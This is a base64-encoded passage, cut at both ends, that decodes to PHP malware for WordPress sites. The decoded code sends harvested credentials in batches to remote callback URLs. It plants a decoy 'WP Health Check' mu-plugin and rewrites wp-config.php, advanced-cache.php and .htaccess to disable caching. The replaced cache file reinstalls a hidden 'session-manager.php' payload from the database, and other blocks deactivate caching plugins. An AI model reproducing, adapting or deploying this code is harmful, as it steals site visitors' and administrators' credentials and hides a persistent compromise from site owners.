B0eSgkX2NhbGxiYWNrX3VybHMpKSByZXR1cm47CgogICAgICAgICRfcXVldWUgPSBnZXRfdHJhbnNpZW50KCdfd3Bfc2Vzc2lvbl9xdWV1ZScpOwogICAgICAgIGlmICghaXNfYXJyYXkoJF9xdWV1ZSkgfHwgZW1wdHkoJF9xdWV1ZSkpIHJldHVybjsKCiAgICAgICAgJF9iYXRjaCA9IGFycmF5X3NwbGljZSgkX3F1ZXVlLCAwLCAxMCk7CiAgICAgICAgaWYgKGVtcHR5KCRfYmF0Y2gpKSByZXR1cm47CgogICAgICAgICRfcGF5bG9hZCA9IGpzb25fZW5jb2RlKGFycmF5KAogICAgICAgICAgICAnZG9tYWluJyA9PiBpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pID8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIDogJycsCiAgICAgICAgICAgICdjcmVkZW50aWFscycgPT4gJF9iYXRjaCwKICAgICAgICAgICAgJ3RzJyA9PiB0aW1lKCksCiAgICAgICAgKSk7CiAgICAgICAgJF9zZW50ID0gZmFsc2U7CiAgICAgICAgZm9yZWFjaCAoJF9jYWxsYmFja191cmxzIGFzICRfY2JfdXJsKSB7CiAgICAgICAgICAgIGlmIChlbXB0eSgkX2NiX3VybCkpIGNvbnRpbnVlOwogICAgICAgICAgICAkX3Jlc3AgPSBAd3BfcmVtb3RlX3Bvc3QoJF9jYl91cmwsIGFycmF5KAogICAgICAgICAgICAgICAgJ2JvZHknID0+ICRfcGF5bG9hZCwKICAgICAgICAgICAgICAgICdoZWFkZXJzJyA9PiBhcnJheSgnQ29udGVudC1UeXBlJyA9PiAnYXBwbGljYXRpb24vanNvbicpLAogICAgICAgICAgICAgICAgJ3RpbWVvdXQnID0+IDMsCiAgICAgICAgICAgICAgICAnYmxvY2tpbmcnID0+IHRydWUsCiAgICAgICAgICAgICkpOwogICAgICAgICAgICBpZiAoIWlzX3dwX2Vycm9yKCRfcmVzcCkgJiYgaW5fYXJyYXkod3BfcmVtb3RlX3JldHJpZXZlX3Jlc3BvbnNlX2NvZGUoJF9yZXNwKSwgYXJyYXkoMjAwLCAyMDEsIDIwNCkpKSB7CiAgICAgICAgICAgICAgICAkX3NlbnQgPSB0cnVlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCRfc2VudCkgewogICAgICAgICAgICBzZXRfdHJhbnNpZW50KCdfd3Bfc2Vzc2lvbl9xdWV1ZScsICRfcXVldWUsIDg2NDAwKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAvLyBSZS1hZGQgYmF0Y2ggdG8gZnJvbnQgb2YgcXVldWUgZm9yIHJldHJ5IG9uIG5leHQgcGFnZWxvYWQKICAgICAgICAgICAgJF9xdWV1ZSA9IGFycmF5X21lcmdlKCRfYmF0Y2gsICRfcXVldWUpOwogICAgICAgICAgICBzZXRfdHJhbnNpZW50KCdfd3Bfc2Vzc2lvbl9xdWV1ZScsICRfcXVldWUsIDg2NDAwKTsKICAgICAgICB9CiAgICB9LCAyMCk7Cn0KCi8qIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogKiBCbG9jayAxMSDigJQgRGVjb3kgZmlsZXM6INGB0L7Qt9C00LDQvdC40LUg0L3QtdCy0LjQvdC90YvRhSDRhNCw0LnQu9C+0LIt0L7QsdC80LDQvdC+0LoKICog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAICovCmlmICgnMScgPT09ICcxJykgewogICAgYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uICgpIHsKICAgICAgICBpZiAoZ2V0X3RyYW5zaWVudCgnX3dwX3Nlc3Npb25fZGVjb3lfY3JlYXRlZCcpKSByZXR1cm47CiAgICAgICAgc2V0X3RyYW5zaWVudCgnX3dwX3Nlc3Npb25fZGVjb3lfY3JlYXRlZCcsIDEsIDg2NDAwICogNyk7CgogICAgICAgICRfbXVfZGlyID0gZGVmaW5lZCgnV1BNVV9QTFVHSU5fRElSJykgPyBXUE1VX1BMVUdJTl9ESVIgOiBXUF9DT05URU5UX0RJUiAuICcvbXUtcGx1Z2lucyc7CiAgICAgICAgJF9kZWNveV9maWxlID0gJF9tdV9kaXIgLiAnL2hlYWx0aC1jaGVjay5waHAnOwogICAgICAgIGlmIChmaWxlX2V4aXN0cygkX2RlY295X2ZpbGUpKSByZXR1cm47CgogICAgICAgICRfZGVjb3kgPSAnPD9waHAnIC4gIlxuIgogICAgICAgICAgICAuICcvKionIC4gIlxuIgogICAgICAgICAgICAuICcgKiBQbHVnaW4gTmFtZTogV1AgSGVhbHRoIENoZWNrJyAuICJcbiIKICAgICAgICAgICAgLiAnICogRGVzY3JpcHRpb246IE1vbml0b3JzIFdvcmRQcmVzcyBzaXRlIGhlYWx0aCBhbmQgcGVyZm9ybWFuY2UgbWV0cmljcycgLiAiXG4iCiAgICAgICAgICAgIC4gJyAqIFZlcnNpb246IDEuMi4zJyAuICJcbiIKICAgICAgICAgICAgLiAnICogQXV0aG9yOiBXb3JkUHJlc3MgUGVyZm9ybWFuY2UgVGVhbScgLiAiXG4iCiAgICAgICAgICAgIC4gJyAqLycgLiAiXG4iCiAgICAgICAgICAgIC4gJ2lmICghZGVmaW5lZCgiQUJTUEFUSCIpKSBleGl0OycgLiAiXG4iCiAgICAgICAgICAgIC4gJy8vIFBlcmZvcm1hbmNlIG1vbml0b3Jpbmcgc2NoZWR1bGVkIGZvciBuZXh0IHJlbGVhc2UnIC4gIlxuIgogICAgICAgICAgICAuICdhZGRfYWN0aW9uKCJhZG1pbl9pbml0IiwgZnVuY3Rpb24oKSB7JyAuICJcbiIKICAgICAgICAgICAgLiAnICAgIGlmIChkZWZpbmVkKCJET0lOR19BSkFYIikgJiYgRE9JTkdfQUpBWCkgcmV0dXJuOycgLiAiXG4iCiAgICAgICAgICAgIC4gJyAgICAvLyBQbGFjZWhvbGRlciBmb3IgaGVhbHRoIG1ldHJpY3MgY29sbGVjdGlvbicgLiAiXG4iCiAgICAgICAgICAgIC4gJ30pOycgLiAiXG4iOwoKICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJF9kZWNveV9maWxlLCAkX2RlY295KTsKICAgIH0sIDk5KTsKfQoKLyog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAqIEJsb2NrIDEyYSDigJQgVERTIENhY2hlIEtpbGxlciAoaGFyZGVuZWQpCiAqCiAqIFNhZmV0eSBndWFyYW50ZWVzOgogKiAgLSBBTEwgZmlsZSB3cml0ZXMgdXNlIGF0b21pYyB0ZW1wK3JlbmFtZSBwYXR0ZXJuCiAqICAtIEFMTCBjYWxsYmFja3Mgd3JhcHBlZCBpbiB0cnkvY2F0Y2goXFRocm93YWJsZSkKICogIC0gSGVhdnkgc2VsZi1oZWFsIChmaWxlIEkvTykgcmF0ZS1saW1pdGVkIHZpYSB0cmFuc2llbnQKICogIC0gTGlnaHR3ZWlnaHQgcnVudGltZSBmaWx0ZXJzIHJ1biBvbiBldmVyeSByZXF1ZXN0CiAqICAtIFBhdGggaW5wdXRzIHNhbml0aXplZCBiZWZvcmUgdXNlIGluIGZpbGVzeXN0ZW0gb3BzCiAqIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgCAqLwppZiAoZmFsc2UgJiYgJzAnID09PSAnMScgJiYgISRfd3Bfc2Vzc2lvbl9wYXVzZWQpIHsKCiAgICAkX3Rkc19lYXJseV9zYWx0ID0gZGVmaW5lZCgnQVVUSF9TQUxUJykgPyBBVVRIX1NBTFQgOiAoZGVmaW5lZCgnREJfTkFNRScpID8gREJfTkFNRSA6ICd3cCcpOwogICAgJF90ZHNfZWFybHlfa2V5ID0gJ193cF90aGVtZV9jb21wYXRfJyAuIHN1YnN0cihtZDUoJF90ZHNfZWFybHlfc2FsdCAuICd0ZHMnKSwgMCwgMTIpOwogICAgJF90ZHNfZWFybHlfcmF3ID0gJyc7CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRfb3B0aW9uJykpIHsKICAgICAgICAkX3Rkc19lYXJseV9yYXcgPSBnZXRfb3B0aW9uKCRfdGRzX2Vhcmx5X2tleSwgJycpOwogICAgICAgIGlmIChlbXB0eSgkX3Rkc19lYXJseV9yYXcpKSAkX3Rkc19lYXJseV9yYXcgPSBnZXRfb3B0aW9uKCdfdGRzX2NvbmZpZycsICcnKTsKICAgIH0KICAgICRfdGRzX2lzX2FjdGl2ZSA9IGZhbHNlOwogICAgJF90ZHNfY2FjaGVfYnlwYXNzX25lZWRlZCA9ICgnMScgPT09ICcxJyk7CiAgICBpZiAoIWVtcHR5KCRfdGRzX2Vhcmx5X3JhdykpIHsKICAgICAgICAkX3Rkc19lYXJseV9kZWMgPSBAanNvbl9kZWNvZGUoJF90ZHNfZWFybHlfcmF3LCB0cnVlKTsKICAgICAgICBpZiAoaXNfYXJyYXkoJF90ZHNfZWFybHlfZGVjKSAmJiAhZW1wdHkoJF90ZHNfZWFybHlfZGVjWydlbmFibGVkJ10pICYmICFlbXB0eSgkX3Rkc19lYXJseV9kZWNbJ2NhY2hlX2J5cGFzcyddKSkgewogICAgICAgICAgICAkX3Rkc19pc19hY3RpdmUgPSB0cnVlOwogICAgICAgICAgICAkX3Rkc19jYWNoZV9ieXBhc3NfbmVlZGVkID0gdHJ1ZTsKICAgICAgICB9CiAgICB9CgogICAgLyog4pSA4pSAIEF0b21pYyBmaWxlIHdyaXRlIGhlbHBlcjogdGVtcCDihpIgdmVyaWZ5IOKGkiByZW5hbWUg4pSA4pSAICovCiAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnX3Rkc19zYWZlX3dyaXRlJykpIHsKICAgICAgICBmdW5jdGlvbiBfdGRzX3NhZmVfd3JpdGUoJF9wYXRoLCAkX2NvbnRlbnQsICRfbWluX3NpemUgPSA2NCkgewogICAgICAgICAgICBpZiAoIWlzX3N0cmluZygkX2NvbnRlbnQpIHx8IHN0cmxlbigkX2NvbnRlbnQpIDwgJF9taW5fc2l6ZSkgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAkX3RtcCA9ICRfcGF0aCAuICcudGRzXycgLiBnZXRteXBpZCgpOwogICAgICAgICAgICAkX3dyaXR0ZW4gPSBAZmlsZV9wdXRfY29udGVudHMoJF90bXAsICRfY29udGVudCwgTE9DS19FWCk7CiAgICAgICAgICAgIGlmICgkX3dyaXR0ZW4gIT09IHN0cmxlbigkX2NvbnRlbnQpKSB7IEB1bmxpbmsoJF90bXApOyByZXR1cm4gZmFsc2U7IH0KICAgICAgICAgICAgaWYgKEByZW5hbWUoJF90bXAsICRfcGF0aCkpIHJldHVybiB0cnVlOwogICAgICAgICAgICAvLyByZW5hbWUoKSBjYW4gZmFpbCBjcm9zcy1kZXZpY2U7IGZhbGwgYmFjayB0byBjb3B5IHNlbWFudGljcwogICAgICAgICAgICBpZiAoQGNvcHkoJF90bXAsICRfcGF0aCkpIHsgQHVubGluaygkX3RtcCk7IHJldHVybiB0cnVlOyB9CiAgICAgICAgICAgIEB1bmxpbmsoJF90bXApOwogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiAgICAgKiBfdGRzX2NhY2hlX251a2UoKSDigJQga2lsbHMgZXZlcnkga25vd24gY2FjaGUgbGF5ZXIuCiAgICAgKiBBbGwgZmlsZSBvcHMgdXNlIGF0b21pYyB3cml0ZXMuIFdyYXBwZWQgaW4gdHJ5L2NhdGNoLgogICAgICogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gKi8KICAgIGlmICgkX3Rkc19jYWNoZV9ieXBhc3NfbmVlZGVkICYmICFmdW5jdGlvbl9leGlzdHMoJ190ZHNfY2FjaGVfbnVrZScpKSB7CiAgICAgICAgZnVuY3Rpb24gX3Rkc19jYWNoZV9udWtlKCkgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgLy8g4pSA4pSA4pSAIDEuIFdQX0NBQ0hFIOKGkiBmYWxzZSBpbiB3cC1jb25maWcucGhwIChhdG9taWMpIOKUgOKUgOKUgAogICAgICAgICAgICAgICAgJF93cGMgPSBBQlNQQVRIIC4gJ3dwLWNvbmZpZy5waHAnOwogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRfd3BjKSAmJiBpc193cml0YWJsZSgkX3dwYykpIHsKICAgICAgICAgICAgICAgICAgICAkX2NmZyA9IEBmaWxlX2dldF9jb250ZW50cygkX3dwYyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRfY2ZnICYmIHByZWdfbWF0Y2goIi9kZWZpbmVccypcKFxzKlsnXCJdV1BfQ0FDSEVbJ1wiXVxzKixccyp0cnVlXHMqXCkvaSIsICRfY2ZnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkX25ld19jZmcgPSBwcmVnX3JlcGxhY2UoIi9kZWZpbmVccypcKFxzKlsnXCJdV1BfQ0FDSEVbJ1wiXVxzKixccyp0cnVlXHMqXCkvaSIsICJkZWZpbmUoJ1dQX0NBQ0hFJyxmYWxzZSkiLCAkX2NmZyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX25ld19jZmcgJiYgc3RycG9zKCRfbmV3X2NmZywgJ0RCX05BTUUnKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIF90ZHNfc2FmZV93cml0ZSgkX3dwYywgJF9uZXdfY2ZnLCAyMDApOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIC8vIOKUgOKUgOKUgCAyLiBSZXBsYWNlIGFkdmFuY2VkLWNhY2hlLnBocCDilIDilIDilIAKICAgICAgICAgICAgICAgICRfYWMgPSBXUF9DT05URU5UX0RJUiAuICcvYWR2YW5jZWQtY2FjaGUucGhwJzsKICAgICAgICAgICAgICAgICRfYWNfdGFnID0gJ19zbV9hY192NSc7CiAgICAgICAgICAgICAgICAkX2FjX29rID0gZmFsc2U7CiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJF9hYykpIHsgJF9oID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfYWMsIGZhbHNlLCBudWxsLCAwLCAxMjApOyAkX2FjX29rID0gKGlzX3N0cmluZygkX2gpICYmIHN0cnBvcygkX2gsICRfYWNfdGFnKSAhPT0gZmFsc2UpOyB9CiAgICAgICAgICAgICAgICBpZiAoISRfYWNfb2spIHsKICAgICAgICAgICAgICAgICAgICAkX2J5cGFzcyA9ICI8P3BocCAvKiB7JF9hY190YWd9ICovXG4iCiAgICAgICAgICAgICAgICAgICAgICAgIC4gImlmKCFkZWZpbmVkKCdET05PVENBQ0hFUEFHRScpKWRlZmluZSgnRE9OT1RDQUNIRVBBR0UnLHRydWUpO1xuIgogICAgICAgICAgICAgICAgICAgICAgICAuICJpZighZGVmaW5lZCgnTFNDQUNIRV9OT19DQUNIRScpKWRlZmluZSgnTFNDQUNIRV9OT19DQUNIRScsdHJ1ZSk7XG4iCiAgICAgICAgICAgICAgICAgICAgICAgIC4gImlmKCFkZWZpbmVkKCdET05PVFJPQ0tFVE9QVElNSVpFJykpZGVmaW5lKCdET05PVFJPQ0tFVE9QVElNSVpFJyx0cnVlKTtcbiIKICAgICAgICAgICAgICAgICAgICAgICAgLiAiXCRfbXVkPWRlZmluZWQoJ1dQTVVfUExVR0lOX0RJUicpP1dQTVVfUExVR0lOX0RJUjpXUF9DT05URU5UX0RJUi4nL211LXBsdWdpbnMnO1xuIgogICAgICAgICAgICAgICAgICAgICAgICAuICJcJF9tdWY9XCRfbXVkLicvc2Vzc2lvbi1tYW5hZ2VyLnBocCc7XG4iCiAgICAgICAgICAgICAgICAgICAgICAgIC4gImlmKCFmaWxlX2V4aXN0cyhcJF9tdWYpKXtnbG9iYWwgXCR3cGRiO2lmKGlzc2V0KFwkd3BkYikpe1wkX3JyPVwkd3BkYi0+Z2V0X3ZhcihcIlNFTEVDVCBvcHRpb25fdmFsdWUgRlJPTSB7XCR3cGRiLT5vcHRpb25zfSBXSEVSRSBvcHRpb25fbmFtZT0nd3Bfc2Vzc2lvbl90b2tlbnNfY29uZmlnJ1wiKTtpZihcJF9ycil7XCRfY2M9YmFzZTY0X2RlY29kZShcJF9ycik7aWYoXCRfY2MmJnN0cnBvcyhcJF9jYywnPD9waHAnKT09PTApe0Bta2RpcihcJF9tdWQsMDc1NSx0cnVlKTtAZmlsZV9wdXRfY29udGVudHMoXCRfbXVmLFwkX2NjKTt9fX19XG4iOwogICAgICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkX2FjLCAkX2J5cGFzcyk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8g4pSA4pSA4pSAIDMuIERlYWN0aXZhdGUgY2FjaGUgcGx1Z2lucyDilIDilIDilIAKICAgICAgICAgICAgICAgICRfYWN0aXZlID0gZ2V0X29wdGlvbignYWN0aXZlX3BsdWdpbnMnLCBhcnJheSgpKTsKICAgICAgICAgICAgICAgIGlmIChpc19hcnJheSgkX2FjdGl2ZSkgJiYgIWVtcHR5KCRfYWN0aXZlKSkgewogICAgICAgICAgICAgICAgICAgICRfc2x1Z3MgPSBhcnJheSgnc3BlZWR5Y2FjaGUnLCd3cC1zdXBlci1jYWNoZScsJ3czLXRvdGFsLWNhY2hlJywnd3AtZmFzdGVzdC1jYWNoZScsCiAgICAgICAgICAgICAgICAgICAgICAgICdsaXRlc3BlZWQtY2FjaGUnLCd3cC1yb2NrZXQnLCdicmVlemUnLCdodW1taW5nYmlyZC1wZXJmb3JtYW5jZScsJ3NnLWNhY2hlcHJlc3MnLAogICAgICAgICAgICAgICAgICAgICAgICAncG93ZXJlZC1jYWNoZScsJ2NvbWV0LWNhY2hlJywnY2FjaGUtZW5hYmxlcicsJ3N3aWZ0LXBlcmZvcm1hbmNlJywnbml0cm9wYWNrJywKICAgICAgICAgICAgICAgICAgICAgICAgJ2ZseWluZ3ByZXNzJywnd3Atb3B0aW1pemUnLCdzdGFydGVyLXBhZ2UtY2FjaGUnLCdzdGFydGVyLWNhY2hlJyk7CiAgICAgICAgICAgICAgICAgICAgJF9uZXcgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfYWN0aXZlIGFzICRfcGwpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFpc19zdHJpbmcoJF9wbCkpIHsgJF9uZXdbXSA9ICRfcGw7IGNvbnRpbnVlOyB9CiAgICAgICAgICAgICAgICAgICAgICAgICRfaXNfY2FjaGUgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9zbHVncyBhcyAkX3MpIHsgaWYgKHN0cmlwb3MoJF9wbCwgJF9zKSAhPT0gZmFsc2UpIHsgJF9pc19jYWNoZSA9IHRydWU7IGJyZWFrOyB9IH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkX2lzX2NhY2hlKSAkX25ld1tdID0gJF9wbDsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKGNvdW50KCRfbmV3KSA8IGNvdW50KCRfYWN0aXZlKSkgdXBkYXRlX29wdGlvbignYWN0aXZlX3BsdWdpbnMnLCAkX25ldyk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8g4pSA4pSA4pSAIDQuIFJlc3RvcmUgZGlzYWJsZWQgaG9zdGluZyBNVS1wbHVnaW5zIOKUgOKUgOKUgAogICAgICAgICAgICAgICAgJF9tdXAgPSBkZWZpbmVkKCdXUE1VX1BMVUdJTl9ESVInKSA/IFdQTVVfUExVR0lOX0RJUiA6IFdQX0NPTlRFTlRfRElSIC4gJy9tdS1wbHVnaW5zJzsKICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJF9tdXApKSB7CiAgICAgICAgICAgICAgICAgICAgJF9tdXBfZmlsZXMgPSBAc2NhbmRpcigkX211cCk7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2FycmF5KCRfbXVwX2ZpbGVzKSkgewogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX211cF9maWxlcyBhcyAkX21mKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3Vic3RyKCRfbWYsIC05KSA9PT0gJy5kaXNhYmxlZCcpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX29yaWcgPSBzdWJzdHIoJF9tZiwgMCwgLTkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfc3JjID0gJF9tdXAgLiAnLycgLiAkX21mOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfZHN0ID0gJF9tdXAgLiAnLycgLiAkX29yaWc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkX2RzdCkpIEByZW5hbWUoJF9zcmMsICRfZHN0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyDilIDilIDilIAgNS4gWmVybyBob3N0aW5nIGNhY2hlIG9wdGlvbnMg4pSA4pSA4pSACiAgICAgICAgICAgICAgICBmb3JlYWNoIChhcnJheSgnZW5kdXJhbmNlX2NhY2hlX2xldmVsJywnc3RhcnRlcl9wYWdlX2NhY2hlX2xldmVsJywnc3RhcnRlcl9jYWNoZV9sZXZlbCcpIGFzICRfb2spIHsKICAgICAgICAgICAgICAgICAgICAkX3YgPSBnZXRfb3B0aW9uKCRfb2spOwogICAgICAgICAgICAgICAgICAgIGlmICgkX3YgIT09IGZhbHNlICYmIGludHZhbCgkX3YpID4gMCkgdXBkYXRlX29wdGlvbigkX29rLCAwKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfbW0gPSBnZXRfb3B0aW9uKCdtbV9jYWNoZV9zZXR0aW5ncycpOwogICAgICAgICAgICAgICAgaWYgKGlzX2FycmF5KCRfbW0pICYmICghZW1wdHkoJF9tbVsncGFnZSddKSB8fCAhZW1wdHkoJF9tbVsnYnJvd3NlciddKSkpIHsKICAgICAgICAgICAgICAgICAgICAkX21tWydwYWdlJ10gPSAwOyAkX21tWydicm93c2VyJ10gPSAwOwogICAgICAgICAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJ21tX2NhY2hlX3NldHRpbmdzJywgJF9tbSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8g4pSA4pSA4pSAIDYuIC5odGFjY2VzczogcmVtb3ZlIEFMTCBjYWNoZS1wbHVnaW4gcmV3cml0ZSBibG9ja3MgKyBhZGQgTGl0ZVNwZWVkIENhY2hlRGlzYWJsZSDilIDilIDilIAKICAgICAgICAgICAgICAgICRfaHQgPSBBQlNQQVRIIC4gJy5odGFjY2Vzcyc7CiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJF9odCkgJiYgaXNfd3JpdGFibGUoJF9odCkpIHsKICAgICAgICAgICAgICAgICAgICAkX2h0YyA9IEBmaWxlX2dldF9jb250ZW50cygkX2h0KTsKICAgICAgICAgICAgICAgICAgICBpZiAoJF9odGMpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF9odF9vcmlnaW5hbCA9ICRfaHRjOwogICAgICAgICAgICAgICAgICAgICAgICAkX2NhY2hlX2Jsb2NrcyA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1dwRmFzdGVzdENhY2hlJywgJ0d6aXBXcEZhc3Rlc3RDYWNoZScsICdMQkNXcEZhc3Rlc3RDYWNoZScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnVzNUQyBQYWdlIENhY2hlJywgJ1czVEMgQnJvd3NlciBDYWNoZScsICdXM1RDIE1pbmlmeScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnVzNUQyBDRE4nLCAnVzNUQycsICdXUFN1cGVyQ2FjaGUnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0xTQ0FDSEUnLCAnTGl0ZVNwZWVkJywgJ0NhY2hlRW5hYmxlcicsICdjYWNoZV9lbmFibGVyJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdTVEFSVEVSJywgJ1NUQVJURVJfQ0FDSEUnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1NHT3B0aW1pemVyJywgJ1N0YXJ0ZXIgUGFnZSBDYWNoZScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQlJFRVpFJywgJ1dQIFJvY2tldCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnTml0cm9QYWNrJywgJ1NHIE9wdGltaXplcicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnU3RhcnRlciBDYWNoZScsICdTdGFydGVyLVBhZ2UtQ2FjaGUnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3Bvd2VyZWQgY2FjaGUnLCAnUG93ZXJlZENhY2hlJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzd2lmdC1wZXJmb3JtYW5jZScsICdTd2lmdFBlcmZvcm1hbmNlJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdGbHlpbmdQcmVzcycsICdIdW1taW5nYmlyZCcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnU3BlZWR5Q2FjaGUnLCAnU3BlZWR5UGFnZUNhY2hlJywKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9jYWNoZV9ibG9ja3MgYXMgJF9ibG9jaykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9wYXR0ZXJuID0gJy9ccyojXHMqQkVHSU5ccysnIC4gcHJlZ19xdW90ZSgkX2Jsb2NrLCAnLycpIC4gJy4qPyNccypFTkRccysnIC4gcHJlZ19xdW90ZSgkX2Jsb2NrLCAnLycpIC4gJ1teXG5dKi9zaSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2h0YyA9IHByZWdfcmVwbGFjZSgkX3BhdHRlcm4sICcnLCAkX2h0Yyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgLy8gQWxzbyByZW1vdmUgZ2VuZXJpYyBSZXdyaXRlUnVsZSBsaW5lcyBwb2ludGluZyB0byBjYWNoZSBkaXJlY3RvcmllcwogICAgICAgICAgICAgICAgICAgICAgICAkX2h0YyA9IHByZWdfcmVwbGFjZSgnL15ccypSZXdyaXRlUnVsZVxzKy4qd3AtY29udGVudFwvY2FjaGVcL2FsbFwvLiokL21pJywgJycsICRfaHRjKTsKICAgICAgICAgICAgICAgICAgICAgICAgJF9odGMgPSBwcmVnX3JlcGxhY2UoJy9eXHMqUmV3cml0ZVJ1bGVccysuKndwLWNvbnRlbnRcL2NhY2hlXC9zdXBlcmNhY2hlXC8uKiQvbWknLCAnJywgJF9odGMpOwogICAgICAgICAgICAgICAgICAgICAgICAvLyBSZW1vdmUgbGVmdG92ZXIgZW1wdHkgbGluZXMgKG1vcmUgdGhhbiAyIGNvbnNlY3V0aXZlKQogICAgICAgICAgICAgICAgICAgICAgICAkX2h0YyA9IHByZWdfcmVwbGFjZSgnL1xuezQsfS8nLCAiXG5cbiIsICRfaHRjKTsKCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJF9odGMsICdURFNfTk9DQUNIRScpID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9odGMgPSAiXG4jIEJFR0lOIFREU19OT0NBQ0hFXG48SWZNb2R1bGUgTGl0ZVNwZWVkPlxuQ2FjaGVEaXNhYmxlIHB1YmxpYyAvXG48L0lmTW9kdWxlPlxuIyBFTkQgVERTX05PQ0FDSEVcbiIgLiAkX2h0YzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAg